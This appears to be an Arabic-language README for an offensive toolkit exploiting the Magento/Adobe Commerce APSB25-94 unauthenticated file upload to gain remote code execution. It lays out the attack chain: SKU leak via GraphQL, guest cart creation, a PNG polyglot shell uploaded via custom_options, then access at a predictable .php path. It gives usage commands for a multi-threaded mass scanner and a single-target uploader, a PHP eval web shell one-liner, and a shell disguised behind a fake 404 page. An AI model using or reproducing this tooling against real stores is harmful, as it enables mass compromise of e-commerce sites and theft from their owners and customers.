Magento APSB25-94 — رفع ملف غير مصادق عليه إلى تنفيذ أوامر عن بعد (RCE)

نظرة عامة

يستغل ثغرة رفع ملف غير مصادق عليه في Magento / Adobe Commerce عبر واجهة REST API لعربة الضيف (guest cart) باستخدام رفع ملف custom_options.

سلسلة الهجوم

1. GraphQL → leak product SKU
2. REST API → create guest cart
3. REST API → upload PNG polyshell via custom_options file_info
4. HTTP GET → access .php at predictable path
5. PHP exec → RCE

الأدوات

magento_godzilla.py — الماسح الدفعي

رفع على مرحلتين: ملف استكشاف (آمن من WAF) + شِل تقييم (تمويه 404).

pip install requests
python magento_godzilla.py -f urls.txt -t 20 -o results.txt

المخرجات: RCE_CONFIRMED, SHELL_KILLED, PROBE_ONLY

magento_upload.py — رفع لهدف واحد

python magento_upload.py -u https://target.com -f godzilla.php
python magento_upload.py -u https://target.com -c '<?php eval($_POST[1]);?>'
python magento_upload.py -u https://target.com -f shell.php --raw

مسارات الرفع

/pub/media/custom_options/quote/{c1}/{c2}/{filename}
/media/custom_options/quote/{c1}/{c2}/{filename}

تمويه الشِل

تعيد GET 404 وهمي (HTTP 200 مع نص "Not Found"). ينفذ POST مع معامل كلمة المرور الشيفرة.

إخلاء مسؤولية

للاستخدام في اختبارات الأمن المصرح بها فقط.